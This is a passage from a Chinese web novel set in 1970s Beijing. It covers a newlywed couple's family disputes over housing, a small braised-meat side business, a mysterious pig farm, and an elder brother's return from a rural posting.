不过这平静的时间并没有持续到吃完席面。 菜上了一半的时候，大门口传来一阵吵嚷声。紧接着就看到几个人一窝蜂涌了进来。看到菜都上桌了，有个中年女人就大喊：“哎哟喂，小弟。你这也太没人情味了。这闺女结婚，吃席也不等我们这当大哥、大嫂的。” 这女人说话太刺耳了，整个院子都安静了下来。 白兰皱眉看向对方。认出来的人都是他爸那边的亲戚。说话的中年女人是她爸的大嫂。边上的中年男人是她爸的大哥。身后跟着的是这夫妻两人的四个儿子。 当然，白兰皱眉的原因不止是这个。主要是她家跟这大伯一家早没往来了。 “我们家的事儿跟你们家没啥关系了。十几年前咱两家就断了往来。” 白爸爸语气强硬站了起来：“没事的话，就请你们早点走。” 白大牛见知道这人的牛脾气，立刻拉了拉刚刚还在叫嚣的媳妇：“小弟，你都说十多年了。这再大的气也消了吧！咱兄弟两哪里有隔夜仇的。要不是听说你认了个儿子回来，咱也不敢上门不是？” 白爸爸看了眼儿子白保卫，再看看大哥那光宗耀祖四个儿子，还是摇头：“你要认我是弟弟，就别在今天闹事儿。” 白大牛立马抬手：“好好好，我真来给小侄女道喜。顺便恭喜你终于有了儿子。” 白兰听到这里还真是奇了怪了。 按她大伯一家几十年如一日，想要往她家过继儿子的心思，能有这么好心上门道贺？ 但白大牛还真一副好说话的样子：“话咱就说完了。以后咱兄弟见面的日子还长着呢！” 说完，还真带着一家子走了。不过走之前白大嫂还伸手想去偷拿桌上的鸡肉。被大舅妈拿筷子狠狠敲了一下手背。 人一走，大杂院又再度热闹起来。这一次大伙儿的话题都跟白大牛有关了。 大舅妈更是直接咒骂：“这一家子居然还好意思上门。妹夫，你可得稳住，不能让爱红吃亏。” 白爸爸连连点头：“大嫂你放心，当年说话不往来的，我可是个守诺言的人。” 白兰跟着点头，见许建北好奇。小声解释了一下两家的恩怨。 其实说白了，就是儿子的问题。 白爸爸跟白妈妈就生了四个闺女。但白大伯、白大娘却生了四个儿子。当年白妈妈生了大闺女肚子一直没有动静。好几年了才生了第二胎。也是因为这间隔的时间有点长，又是三个闺女。 大房的人就打起了过继的主意。毕竟大房一家在乡下，但白爸爸一家可是在城里。而且白爸爸还有一份好工作。 这端倪在白妈妈怀上二胎的时候就出现了。也是因为这个事儿，当年白爸爸跟白妈妈的精力，有一半都被这个事情给牵扯住了。这才没有注意到儿子被钱家人给换了。 说起来，就是一笔烂账。幸好当年早早掰扯清楚，不然到现在还有得磨呢！ 许建北见白兰小嘴叭叭说着这些恩怨，立刻给她装了一碗汤水，让她润润喉。 “放心，我虽然有三个哥哥，但是不会出现这种事情的。” 白兰听懂了他的意思，好笑道：“我才不怕呢！” 要说后世的女孩，谁不怕嫁给几兄弟的。但这会儿还真反过来。不过白兰喜欢许建北，也跟他兄弟几个没关系。这人靠谱，太靠谱了。不嫁他白兰觉得铁定会后悔。 周围人可不像白家人，聊起白家兄弟当年的恩怨，那是越聊越热烈。 到最后，白兰都有点无语了。也不知道大房一家子冒头，到底有啥目的。 —— 但不管怎样，今天算是过得相当高兴的。 傍晚，热闹了一天的大杂院终于安静了下来。 白兰在屋里用热水洗漱，顺便开始紧张今晚那重要的环节。她可是理论知识丰富，但一点经验都没有的人。也不知道那种事情，是不是跟小说描述的那样美好。 想东想西的，让白兰没有注意到许建北在外头跟大头说了些什么。 反正等到许建北回来，白兰的心理建设还没做好。不过当她抬头看着许建北的那张俊脸时，白兰又觉得自己可以了。 许建北看着白兰红彤彤的耳垂，忍不住伸手揉搓了两下。 白兰被他这动作吓了一跳，随即后背就是一股战栗。 “你……” “你……” 两个愣头青，你看看我，我看看你，把屋里的空气都弄得粘稠起来。 —— 相较于他们这里的甜甜蜜蜜，隔壁的大房一家却不怎么高兴。 苏小妹躺在床上锤了锤床板，抬腿踢了踢躺尸的许建东。 “许建东，这婚都结了，赶紧找机会跟你小弟说啊！” 许建东摇头：“不说，要说你去说。” 苏小妹：“你是不是想让你儿子以后没地方住！” 许建东：“反正我不去说。” 苏小妹再一次被这男人的没志气弄得没脾气。也不知道当年自己怎么眼瞎，就挑了这么个男人。 “你不说我去说。我就不信你小弟真能抹开面子。”苏小妹想好了，这段时间她一直讨好许建北跟白兰。不管这两人接不接受，反正周围邻居都知道自己伏低做小。明天在院子把事情嚷嚷开来，对自己最有利。刚结婚的小年轻，脸皮最薄。 大房两人闹腾着呢，许建南跟柳美玲夫妻却有商有量。 “等明天我找时间跟白兰说说。” 许建南不太赞同：“人刚结婚了，明天能有时间跟你谈？” 柳美玲：“有时间的。我嫁过来的时候，还不是大把时间。事情商量好了，咱一鼓作气，直接把卤肉卖到整个北城。” 白兰还不知道自己新婚的第二天，就要面临跟妯娌的博弈呢。 她这会子正觉得自己好像置身于一个桑拿房。汗珠一颗颗从鼻间、额间滑落。 特别是当许建北那张五官立体的脸上，出现这样的场景时，白兰激动得只想发出鹅叫声。 当然，她这会儿也发不出太多的声音。 反正，这一晚的美妙，无法用语言来形容。 第二天白兰是早上七点多才醒来的。醒来发现浑身干爽，就知道昨晚自己睡着后，许建北还给她擦了身子。感受着腰上传来的热度，白兰忍不住埋头到对方坚实的胸膛。还没来得及说话。耳边就传来许建北那低沉的声音。 “早上好！白兰同志。” 普普通通的一个问好，却让白兰品出了另类的感觉。她乐得低头咬了一口，然后回应：“早上好！许建北同志。” 第43章 第43章许家的矛盾 临近过年，早上的气温还挺冷的。白兰有点想赖床，但想着新婚第一天，最后还是起来洗漱了。 许建北是知道她的习惯的。看她要起来，立刻就兑了盆温水。等洗漱过后，白兰这才出屋。 老许家这会儿除了孩子都起床了。大家正坐堂屋说话，看样子是准备等吃早饭好上班。 见白兰跟许建北从屋里出来，苗大菊立马就招呼：“正好早饭要好了，赶紧去饭桌坐下。” 白兰笑着应了声，越过廊下的隔断，绕到了西厢耳房门前。老许家住着西厢两间厢房跟一间耳房。两间厢房分别分给四个儿子。剩下那间耳房，则是老两口带着两孙子住着。 因为耳房面积小，要做堂屋也做不了多大。所以耳房门前的这一小 片地方，也被另外围了起来，做为许家的堂屋。厨房则是跟其他人家一样，都在廊下隔了个小地方作为厨房使用。 所以，这会儿白兰跟许建北，是一前一后走进了那隔断出来的堂屋。 要说嫁过来哪里不方便，也就是堂屋太小了。房间其实也小，不过只住他们夫妻两人，勉强还是足够的。 小小的堂屋，已经坐了五个大人，白兰跟许建北再进去，就真没地方下脚了。 “哎，四弟妹。咱家是不是很舒服，不然也不会那么晚才起来。” “说什么糊话呢。你嫁进来那么些年，我有催你们起床不？” 苗大菊端着一盆饺子走了进来，听到大儿媳的话，不客气地怼了过去。 苏小妹立刻闭嘴不说了。但眼神一看就是不服气。 白兰见她这个样子，很怀疑那天许建北说的话到底对不对。之前苏小妹可是很殷勤地讨好她跟许建北的。怎么忽然又变样？ 许建北看出了她的想法，笑了笑。心想这大嫂就是这个样子，一天一个主意，态度也就跟六月的天，说变就变。 苗大菊这头已经招呼白兰吃饺子了。饺子是昨天特意留的，白菜鸡蛋馅儿。白兰还挺喜欢吃的。馅儿还是她爸给调的，所以吃着白兰觉得就跟在家也没差了。 苏小妹一听吃饺子，立刻打起精神，拍了拍装深沉的丈夫。让他赶紧吃饺子，晚了怕没了。还有就是吃完后，去找小弟提房子的事情。 “今天是不上班对吧！” 白兰的饺子刚吃了两个，就听到苗大菊又找她说话。她有点子不习惯，但还是点头。 许建北见状，接过话头：“是啊，我们两今天都跟人调班。准备休息一天。” 苗大菊：“那就行，那就行。咱家没啥规矩。你们夫妻自己做主就好。” 白兰点头，她知道苗大菊人好相处。但真住一起了，听她说话还是觉得观感很好。 饭后，白兰跟许建北准备去外面走走。不过人还没起来，就被两人前后叫住了。 —— “大嫂、三嫂，有事吗？”叫住白兰夫妻的，正是苏小妹跟柳美玲。 苏小妹见柳美玲要跟自己抢，立马抢过话头：“没啥大事。就是有个事儿想跟小弟商量商量。” 白兰拉了拉许建北的手，示意自己来解决。 “你想商量啥？” 苏小妹见许建北不说话，有点不爽。但还是说道：“三弟妹，你嫁进许家，咱就是一家人了。大嫂说话直，所以得罪你的地方就别介意了。刚你也看到了，咱家的堂屋是不是特别小。跟你家没得比吧！” 白兰就知道她是要说房子的事情，只是没想到切入点居然放到这。这样看来，这大嫂也不仅仅是个棒槌。 “对！”白兰赞同点头，想看看对方还有什么招。 见白兰点头，苏小妹再接再厉：“小弟跟二弟是住一个厢房的。二弟人下乡，不知道什么时候才回来。我寻思着要不把二弟的房子空出来，暂时给我家两儿子住。这样的话，爸妈住的那间耳房，就能再腾出一些地方当堂屋使。” 这话一出，整个堂屋彻底安静了下来。白兰也惊讶地看向苏小妹。她以为这人是打自家那半拉屋子的主意。没想到居然把目标放到二哥许建西那。 她虽然跟许建西没啥交集。但也知道许建北跟这二哥感情好。立马开口：“不行，这个事情不可能。” 许建北表情也冷了下来：“大嫂，说过多少次了。不要打我们兄弟屋子的主意。二哥为什么下乡，你还不清楚吗？” 见小弟动怒，许建南立刻打圆场：“大哥，这个事情是你让大嫂说的吗？” 许建东一直窝在那不吭声。被两个弟弟盯着，不甘不愿地说道：“你大嫂也是为了孩子。房子借了也是给建西的侄子住。” “哼，有本事生就得有本事自己养。不管你们夫妻打得什么算盘，反正话我就放这里。别再想打二哥跟我屋子的主意。不然的话……” 话还没说完，苗大菊已经站起来道：“我也在这里放话，你们兄弟几个，我一个都没偏心。该是谁的屋子早就分好了。所以，以后任何关于借屋子、分屋子的事情就不要再提。谁提谁就给老娘滚蛋。有本事就自己去外头买房子去。真男人不吃分加饭。” —— “气消了没？” 热闹的街上，白兰看着自己呼出的热气，再看看许建北板着的脸，轻声问道。 许建北：“我真没想到他们还好意思打二哥房子的主意。” “当年二哥下乡是发生什么事情吗？” 这个问题白兰早就想问了。听她妈说许建西当年16岁就下乡了。一去就是7年，没有回来过。 许建北叹气：“本来这些事情我不想说出来让你烦的。” 白兰摇头：“咱结婚前就说好了，有什么高兴不高兴的事情，都要分享出来。” “当年本来要下乡的人不是二哥而是大哥。” 这一听里面就有故事。果然，接下来白兰就听到一个比较让人生气的故事。 许建东在高中晃荡了几年，快要毕业的时候，见周围同学踊跃报名下乡，他也跟着一起报名。跟着这些同学到处跑，炫耀自己觉悟高。很是过了一段威风的日子。但等快要下乡的时候，他就反悔了。因为他被分配到祖国的最南端。 听说那是个海岛，上面除了椰子树什么都没有。他们那批分过去是开荒的。 但报名了不是你想反悔就反悔的。 “那时候我奶奶还在，最疼我大哥了。本来就反对大哥擅自报名下乡。一听大哥下乡是去开荒海岛。大哥又哭着喊着不去。最后我奶奶就要死要活，让二哥顶大哥的位子去。” 白兰想了想许家四兄弟的年龄。老大许建东今年25岁，接下来老二许建西23岁，老三许建南21岁，老四许建北19岁。许建东18岁的时候，除了许建西勉强够得上下乡的标准，其他两人还真没办法顶替。 “那你跟你三哥，不就是多亏年纪小吗？” 许建北点头：“我二哥其实也不想去的。他那会子才16岁。啥都不懂，虽然初中毕业没上高中，也没个正经工作。但他也没干什么不好的事情。还经常寻摸钱回来补贴家用。” 许建北七八岁就跟着爷爷搬到螺丝厂去住了。二哥是兄弟几个中，最经常往那边跑的。所以他跟二哥关系其实最铁。 直到奶奶以死相逼，让二哥顶替大哥下乡后，他立马去找爷爷阻止。可惜，最后没啥用。也是，如果爷爷能跟奶奶沟通的话，两人也不会早早就分开住。最后闹得一个住大杂院，一个住螺丝厂。到死都不见对方一面。 “总之，我奶奶心中唯一喜欢的孙子就是大哥。说他是长子嫡孙，要继承老许家的香火。” 听到这里，白兰有点想吐槽。这许奶奶不是跟许爷爷撕破脸了吗？怎么还一副以保护老许家香火为己任的样子。 许建北不知道白兰的发散，已经说道二哥下乡前的情况了。 “我爷爷阻止不了，爸妈也阻止不了，二哥真怕奶奶寻死，最后还是答应下乡了。我爷爷没法子，在二哥下乡前，就把房子给我们兄弟几个分好。” 当时，爷爷跟二哥说，不管他去哪里，家里永远有二哥的地方。而他，则被爷爷委以重任，替二哥看好房子。 那时候，爷爷应该就知道会出现今天的情况吧！ 他虽然没怎么回大杂院，也知道奶奶跟大哥，一直打他们那间厢房的主意。 是的，他作为被爷爷带大的孙子，也是 奶奶讨厌的人之一。 说句不好听的，其实许建北也不喜欢奶奶。特别是二哥当时下乡上火车的时候，还偷偷哭了好几次。那样子他没想回想都不落忍。 二哥下乡这些年没回来过一次，许建北一点都不责怪对方。 白兰没想到许建西当年下乡居然还有这一段隐情。听完后对许建东的观感更差了。这样的人，真不配让人喊大哥。 “那以后我跟你一起保护二哥的房子。” 许建北把白兰的手牵起来，一起放到大衣的口袋里。点头道：“嗯，咱一起等二哥回来的那一天。” 白兰知道知青大批回城的还有几年。二哥就是现在回不了，以后也能回来。 说开了这个事情后，两人都觉得对对方的感情更加深刻起来。 刚准备去前头的供销社买点东西，身后就传来了柳美玲的喊声。 —— “我没打扰到你们吧！”柳美玲笑意盈盈地看着眼前两人。 白兰摇头：“三嫂，是有什么事情吗？” 之前苏小妹就抢了柳美玲的话。那会子白兰就好奇对方找自己啥事儿。不过后来苏小妹一打岔，她都给忘了。 “就是咱那一摊子事儿！” 一听是这个，白兰就看向许建北。跟三房的卤肉生意合作，一向都是许建北负责的。 “走，我让你三哥找了个地方。咱坐下来再好好聊聊。” 看出了柳美玲眼中蓬勃的野心，白兰跟许建北对视一眼，决定跟着过去看看。 于此同时，一道高大挺拔的身影，带着人扛着东西，从祖国南端的海岛出发，往北城而来。 第44章 第44章养猪场 “三哥，到底要说啥？” 靠近郊区的一座农家小院，许建北刚进门看到许建南，就直接开口。他没想到柳美玲会把他们直接带到郊区这边来。 许建南：“哦，来啦。我还怕有点远，你们没等到公交车呢！” 柳美玲：“说啥傻话呢！”说着，柳美玲看向许建北：“小弟，这座小院你看看怎样？” 简单的农家小院，占地也不过六十多平。院墙围着，里头三间平房。真没啥特别的。 “这房子是特意找人借来，以后咱的卤肉就在这里做。” 进来前，白兰已经观察过周围的情况。听到这话倒不意外。因为这房子后面就有一条河，周围住户分散，再之外就是农田了。在这里做卤肉，只要把味道控制好，几乎不会有任何风险。 白兰是知道柳美玲以前的卤肉，都是在那家私人饭馆做的。之前听说要找肉源扩大生意，她还担心这肉多了，味道控制不住怎么办。 现在看看周围的环境，白兰知道自己是不用担心了。 而柳美玲也在跟许建北介绍这房子的情况。 “肉源的话，我跟弟妹二舅家联系好了。之后都会送这里来加工……”许建南也开始说起了各种细节。 总之，白兰听着都觉得好像没他们夫妻两出场的机会。但马上，就听到许建南道： “弟妹二舅家后来又给介绍了其他肉源。但我一个人要上班，又要跑几个地方拉猪肉，忙不过来，准备找人帮忙。” 投机倒把还在严抓，他们干的这个事情只能找熟人干。之前都是许建北跟柳美玲两人一起做的。但规模扩大后，人手就不够了。只是，他们夫妻认识的人，基本上都有工作。谁也不会跟他们干这个。再说，人家愿意，他们也担心被举报。 这有了固定的地方，固定的肉源，人手更加慎重。 听到这里，白兰松了口气。还以为是什么大事情了。 结果，柳美玲就问白兰要不要一起做。白兰立刻摇头。 做卤肉赚的钱，铁定比在食堂做白案赚得多。但白兰真不想干，因为会很累。 不过，她倒是有个人可以推荐一下。 就在他这样想着的时候，许建北已经开口：“不然就找咱院的宁聪。” 这名字一出，许建南夫妻愣了愣。白兰笑着道：“就是前院倒座房的宁大头。他是我同学，人可靠。” 一听是他，许建南倒是没意见了。 大头这人虽然跟他没什么往来，但一个院儿的，家里又是那情况，这小子确实可以用。 商量好人选后，白兰跟许建北又在许建南夫妻的带领下，把这一带周围走了一圈。之后就一起往回走。 路上，白兰悄悄问许建北：“你怎么跟我一样，都想到大头了。” 许建北：“其实大头找我问过工作的事情。” 白兰讶异。因为在秦艳找到工作的时候，她也问过大头的想法。不过那时候大头没有要找工作的意思。主要是大头平时会到处打零工。还跑黑市跟人打下手。赚到的钱比上班还多。 更重要的是，大头家里有个瘫痪的老爹。大头的妈顶了大头爹的工作要上班。这老爹的吃喝拉撒，一大半都是大头负责的。 这样的情况下，大头就是去厂里上班也不行。总得照顾家里的老爹。 至于让他妈回家里，大头去顶他妈的工作，那更加不行。因为大头他妈是三级工。大头要是顶这个工作，只能从学徒工做起。 三级工跟学徒工的工资差距，一个月都小十块了。这些钱都够给大头的爹买药吃。 所以，碍于家里的情况，大头这几年都没有进单位上班的意思。 现在居然找许建北问工作的事情。真是有点奇怪。 许建北知道白兰的疑惑，直接道：“他也没跟我说原因。但是我猜到了一个。” 接着，许建北就把原因说了。白兰听完后震惊了。心想如果真像许建北猜测的那样，那这份不能见光的工作，大头估计不会接受。 但很快，许建北又提了另外一个想法。这下，白兰就知道这事儿应该能成了。 —— 果然，当大头听完许建北的话后，立刻问道：“真的吗？真的教我开车？” 许建北点头：“我也认识开大货车的。三哥那边要是他朋友不愿意教，我这边能找到人教你。等你学会开车了，以后路子就广了。而且，当司机也不用天天都出任务。总有时间回家照顾你爸。再不济，司机的工资高，你们可以找人搭把手。” 胡同里，一回来许建北就把大头喊了出来。开口就跟他说了帮忙运输猪肉的事情。果然大头立刻就拒绝了。但当他听到能教他开大货车的时候，大头的态度立马转变。 “不过，运输肉的话，可能会有风险。而且现在距离过年也就一周左右。这一周你都要早出晚归。” 大头：“那没问题，也就几天。我跟我妈商量，让她上班的时候，中间往家里跑看看我爸就行了。” 反正他还小的时候，她妈也是这样来回跑照顾她爸的。厂里的人并不会说什么。因为他爸这算是因公受伤瘫痪。只不过等他长大后，见不得他妈来回跑的辛苦。自己就把照顾亲爹的重担接了过来。 一切准备就绪，第二天大头一大早就跟着许建南出门去。 许建南的工作轻松，准备亲自带大头跑两天熟悉情况。 白兰这边自然不会担心这个。她收拾收拾心情，直接回厂里食堂上班了。 自然，刚到食堂就迎来了一波祝福。这时候糖精贵，白兰也没买喜糖跟大家伙分。只笑着感谢大家的祝福。说了一波话后才到后厨准备工作。 “哎，听说了没。咱厂里的过年福利，一人能有半斤肉。” 白兰正在包包子，听到这话看向说话的人。 “真的不？半斤那么多？咱厂虽然不是万人大厂，但好歹也有大几千号人呢！” “哎，我可没吹牛。反正肉又不是我给大家安排的。” 这信誓旦旦的话，让大伙儿心动不已。等大师傅一来，后厨就热闹起来。纷纷找大师傅打听有没有这个事情。 大师傅也没隐瞒：“咱厂里的采购听说钢厂那边的采购有门路。准备跟着搭顺风车。要真能 弄到肉，一人半斤可能比较难。但一人二两那是没问题的。” 听到二两肉，大家居然还十分高兴。 白兰看到这里，只能随大流高兴。但心里疑惑到底哪里来的肉。一人分二两，全厂那么多人，这肉加起来有点吓人。 而且，钢厂的采购什么时候那么厉害。不止给他们钢厂弄肉，还给他们纺织厂这种八竿子打不着的厂子弄肉。可真是大好人啊！ 然而，白兰这头刚感叹完人家大好人，马上就得知这所谓的钢厂采购不是别人，正是白明祖，她大伯白大牛的小儿子。前天她结婚的时候，对方一家子还跑大杂院去乱说一通呢！ 如果她没有记错，这一家没有一个在城里工作的。怎么白明祖一个农村的，忽然就成了钢厂的采购？ 这看着还真有点扯啊！ 白兰的疑问在下午的时候得到了解答。 下午，白兰忙完工作的后就直接下班了。习惯性地直接就走到家里。她妈看到后立刻笑得不行。 “咱小闺女回家啦！” 白兰反应过来跟着笑：“对对对，回家啦。” 白妈妈笑过之后就说道：“我早上去菜站买菜，有人拉着我，跟我说你大伯家一家跑钢厂去了。” 白兰立马就想到上午的那一茬，立刻就告诉她妈。 “所以，他们不知道搭上谁的关系，可能真去钢厂上班了。” 他们家现在跟钢厂其实没啥关系。也就白苹嫁给了钢厂厂长的儿子。不过大伯一家肯定不是通过白苹的关系进钢厂的。毕竟，白苹那种自私鬼，才不会无缘无故被人占便宜呢！ “别想了，管他们搭上谁。反正咱家离他们远点就对了。” 母女两正说着话呢，就见大头拎着个篮子走了进来。 白兰一看就知道是肉，立马走了过去：“怎样？顺利不？” 大头也十分激动，提着篮子就跑到白家堂屋。 “顺利，很顺利。南哥在收拾那些肉。篮子这些是他让我带回来的。分三份，你家、我家跟许家各一份。” 白兰低头看了看，这肉大概一斤出头，一家能分小半斤。她没有推辞，直接去厨房拿菜刀哗哗几下就分好了。 “许家的肉你直接提去给我婆婆。” 大头没有推辞，直接把肉送了过去。然后又跑回来。白兰见状，直接问：“还有什么事情？” 大头说道：“你知道那肉哪里来的不？” 白兰摇头，白妈妈也一副好奇的模样。 大头：“有人在山里偷摸搞了个养殖场。还是你表哥带我们过去的。今天不止我们过去，钢厂也有人过去收猪肉。” 说到这里，大头表情古怪道：“钢厂的人里头，就有你结婚那天跑过来的人。” 白兰秒懂。果然，这动作居然那么快。 不过白兰不好奇这个，反倒是更加好奇到底谁那么大的胆子，在山里搞养殖场。还没被人直接充公，反倒是大家伙都规规矩矩上那买去。 “不清楚。只听说跟钢厂其实也有点关系……” 这种影影绰绰的事情不好打听。白兰想着自家也就是吃个肉，也不费劲去打听人家的底细。反正肉是实实在在的。 接下来几天，大头早出晚归，每天都能弄些肉回来。大家伙因为忙着准备过年，居然也没人发现大头的这些动作。 一直到除夕当天，大头才歇息下来。不过除夕一早，还是跟这许家兄弟出门，年前最后一次去山上的养猪场拉肉。 这一次直接拉了半扇猪肉回来。 这下大杂院轰动了。 “哎哟，这么新鲜的肉，哪里来的啊！” 肉质新鲜，带着纯正的肉味。一看就知道是现杀的。这种鲜肉，现在去菜站可是抢不到的。 许建北把大头打发回来，笑着说道：“有个朋友家帮忙弄了过来。大家要是想要的话，一家能给分个半斤。多的就没有了。我们家人多，亲戚多。还要给亲戚分呢！” 一听有肉分，大伙儿也不嫌弃只有半斤了。一个个蹲下来，伸手就直接在半山猪肉上比划，喊着我要这块要这块。生怕自己看中的部分被人给抢先。 白兰站在边上看许建北被人挤得头顶冒烟，捂着嘴巴直乐。 “你不去帮忙啊！”柳美玲打趣道。 白兰摇头：“不去不去，让建北感受一下大妈婶子的热情。” 她是知道许建北今天特意跟许建南去看那个养猪场的。只是没想到还拉了半扇猪肉回来。那肉看着确实好，还有两指的肥肉呢。这种肉特别抢手。 “三嫂，你了解那养猪场的底细不？” 从年前一周开始，那养猪场就开始卖肉，而且还是卖给几个大单位的。光是他们纺织厂就买了不少肉回来。每个人的过年福利真有二两。 听着不多，乘以纺织厂的人数，那就特别多了。 除了那几个单位之外，像许建南这种打擦边球的散户也买了不少。 粗略估计，没有个几百头猪根本下不来。 这种大手笔，又没人查。白兰都要怀疑那养猪场背后有大大的保护伞。 柳美玲听到白兰的问题耸耸肩：“管他是谁家的。反正不止我们买肉。好几个大单位都买呢！不过听人说，里头卖的猪有好几批。估计是几个地方弄过去的。” 白兰点头没有再聊这个。继续站那看许建北兼职卖猪肉。 等各家要的肉都买走后，白兰这才上去给许建北弄了盆温水跟肥皂，好让他洗手。 “那养猪场盖得挺好的，看着不像是打一木仓换一炮。” 许建北小声说着自己观察结果。主要是这养猪场供给的猪太多，许建北不放心，特意跑了这么一趟。 “三哥那边也觉得没啥？” 许建北点头：“年后那边的猪也没了。咱也就不管了。” 这会子夫妻两人都没想到，就是这么一个养猪场，在之后会引发那么多事情。 两人正说着话呢，热闹的院子忽然就安静了下来。 抬头一看，白兰还没认出来人是谁。但边上的许建北已经惊讶地喊道：“二哥！” 随着这一声二哥响起，安静的大杂院再度热闹了起来。这一次，大家也不谈论猪肉了。一个个都朝来人围了过去。 第45章 第45章许建西的拳头 “建西，建西……” 狭窄的堂屋里，苗大菊看着眼前又黑又壮的小伙子，激动得说不出话来。平时不怎么是说话的许老倔，这会子也激动得手抖。 而当事人许建西，环顾了一圈亲人，发现没有自己讨厌的那人后，对着爸妈露出一口大白牙：“爸妈，我回来啦！” “回来就好，回来就好！这次能在家里呆几天啊！” 许建西伸手拍了拍自己的板寸头：“估计半个月到一个月吧！看情况。我这还领了农场的采购任务回来的。” 一听能在家留那么久，苗大菊跟许老倔更加激动了。两人拉着许建西就问他想吃什么。完全把许建南夫妻跟许建北夫妻都给忘了。 白兰见状觉得挺好的。这二哥回来了，一家人都高兴。不过想到回娘家的大房一家，又觉得晚点家里估计还有一场事儿要闹。 许建北也是这个想法。他跟三哥使了个眼色，示意对方出来一下。 “三哥，下午大哥一家回来。要是二哥要揍大哥，你不要插手。” 许建南比许建北大两岁，当年下乡的事情他也知晓。立马道：“只要二哥不当场打死老大，我都不会管。老大那样的人，就得铁拳镇压。” 兄弟两有了默契后，转头看着依然笑眯眯的许建西。都感慨这二哥这几年下乡肯定过得很苦。不然当年那跳脱的小子，怎么这会 儿瞧着变得那么稳当呢！ —— 许家这里一家团圆，外面的邻居议论纷纷。 “哎，不对。建西这小子不是下乡吗？这么多年都没回来。怎么这会儿回来？” “今天都除夕了，回家过年不是挺正常的吗？” “扛着那么一个大麻袋，建西下乡的日子估计过得挺好的。” 刚许建西是扛着个大麻袋进来的。之前大家惊讶他回来，这会儿倒是好奇对方带了啥好东西回来。听说许建西可是在海岛下乡的。 许家堂屋里，许建西已经打开那麻袋，开始一件一件往外头掏东西。 有捆成一捆的咸鱼干，有扎成一捆的海带，也有油纸包包着的干蚝瑶柱。还有成人巴掌大的虾干。 这些东西在北城可是特别少见的。 随着许建西的动作，许家堂屋发出一阵又一阵的哇哦声。 白兰在许建西回来的时候就闻到一股海味。现在看到眼前的东西，也忍不住眼前一亮。实在是海鲜干货的味道太鲜美了。用来煲汤更是美味。穿越到这里后，她就没吃过。那香甜的味道，想想就觉得口齿生香。 这头白兰吃货基因动起来，那头柳美玲却已经开始寻思，能不能跟二弟合作，把这些海货倒腾到北城来卖。里面巨大的利润一定惊人。 不过柳美玲想想现在的运输能力，只能哀叹暂时无法染指。 白兰要是知道柳美玲的想法，一定会感慨，女主不愧是女主，时刻都想着赚大钱。 —— 外头有些邻居看到许建西掏出来的那些个海货，眼热得不行。后院就愈发热闹起来。 而前院这里，其实也同样热闹。好几个刚看完热闹回来的人，都在家里讨论许建西的事情。 “小聪，许建西回来了。你那学车的事情还能做准不？” 宁家，大头正在剁肉。托了许家兄弟的帮忙，他家里今年的肉不缺，而且还都是平价肉。 听到他妈的话，大头摇头：“妈，你瞎操心啥呢。人西哥回来是好事。跟我学车没半毛钱关系。再说了，这事儿北哥帮我看着呢。就是白兰，也不会放我鸽子。你就放一百个心吧！” 宁妈听着儿子的信誓旦旦，提着的心多少放了下来。主要是这学车的机会太重要了。她一辈子没啥出息，命又不好。刚怀上孩子，男人就受伤瘫痪。 她一个人又是照顾男人，又是上班，又是生孩子照顾孩子。真没有更好的办法给儿子更好的生活了。 好在，儿子比自己好运。跟后院的白兰、许建北关系好。现在人家提携儿子了，她更是感激万分。 但当妈的总怕儿子会错失好机会。特别是许建西可是许建北的亲哥。如果那学车的机会只有一个，怕是自己儿子只能退后一步了。 毕竟，许建西要学会开车了，按照许家兄弟的本事，说不定能把人从乡下捞回来。 越想越是那么回事，宁妈决定待会儿炸好的肉丸子，一定给许家送去满满的一大碗。 大头不知道他妈那么复杂的内心活动。手上剁肉，心中在畅想自己学会开车之后的美好人生。 不过，畅想不过几分钟，屋里就想起了他爸的喊声。 大头急急忙忙放下菜刀，进屋去喂他爸喝水。 —— 白兰过来给大头送海味的时候，正好就看到大头往屋里跑。她没有过去，只站在门口跟宁妈打招呼。 “哎哟，白兰。你……怎么过来啦！”宁妈把双手的水甩了甩，又往围裙擦了又擦，有点紧张地看向白兰。 白兰笑眯眯道：“宁婶子，我家二哥不是回来了吗？他带了些海菜，不值钱的。就拿给你们尝鲜。” 一听是送东西，宁婶子赶紧推拒。但大头听到外面的动静，立刻就跑了出来：“哎哟，海菜啊，好东西。” 白兰就知道大头不会跟自己客气。把手里的海菜往他怀里一塞，继续道：“刚你北哥说了，学车的事情等初四就可以开始了。你这几天把家里的事情安排妥当。刚开始一段时间，估计要经常往外头跑。” 一听是这事，大头不在意摆摆手：“可以可以，又不是啥事。对了，西哥那边……” 听到这称呼，白兰噗呲一声笑了出来。总觉得特搞笑。 大头不知道白兰笑什么，就想打听许建西下乡地方有什么新鲜事儿。 “你好奇的话，下午来家里直接找二哥打听呗！” —— 隔着一道院墙，许建北听到白兰的笑声，笑着摇头。 许建西见当年还是小屁孩的小弟，居然都结婚了。还有二弟也结婚了，感慨时间过得真快。 “二哥，你这次回来，真能呆一个月那么久啊！” 许建西点头：“是，我们农场有物资要采购。我就过来帮忙。” 许建北没再去细问到底是什么采购任务。转而跟许建西说起家里这些年的情况。虽然有书信往来，但一些事儿面对面说更加细节。 许建西听完叹气：“年头爷爷没了的时候，我是想回来的。但出了点事赶不回来。” 这个许建北倒不生气。因为爷爷走之前，就说过不要通知二哥。再则奶奶那会子还在呢，要二哥回来，说不定又要闹上一场。他奶奶是硬撑着一口气，等爷爷走了之后不到一个月也跟着走的。 沉重的话题过去，许建北拍了拍二哥的肩膀：“大哥一家去了大嫂娘家送年货。等他下午回来了，你要教训他，我跟三哥绝对不会插手。” 说起来，这出嫁女都是初二才往娘家走亲戚送礼的。但他大嫂怕家里过年用掉大哥厂里发的年货。所以一领到东西，立马一家人往娘家跑。这样的小家子气，说实在的，特别扫兴。 许建西听到弟弟的话，愣了愣，随即坏笑道：“那孬货，我还真不屑动他。不过他要是惹我，那我也就不跟他客气了。” 许建西已经不是当年那个被人欺负的小可怜了。他已经看不上老大这样的窝里横。这种人，离了家啥玩意儿都不是。 —— 兄弟两正说着许建东呢，结果就看到对方一家子从外头走了进来。 “哎哟，建东小子，不是说在丈母娘家吃完中饭再回来的吗？” 许建东北门口的大爷问得哑口。摆摆手不吭声，只一味往家里冲。看样子估计在岳家受到什么打击。 但他这埋头冲撞，差点就撞到了门口站着的许建西。 许建东看到路被人给挡了，想要喊他别挡路。结果一抬头看到许建西对着他笑出一口大白牙。吓得连连后退几步，伸出手指指着许建西，哆哆嗦嗦说不出话来。 许建西见他这副怂样，瞬间想起当年这窝囊废在地上打滚，哭着喊着求奶奶逼自己下乡的场景。 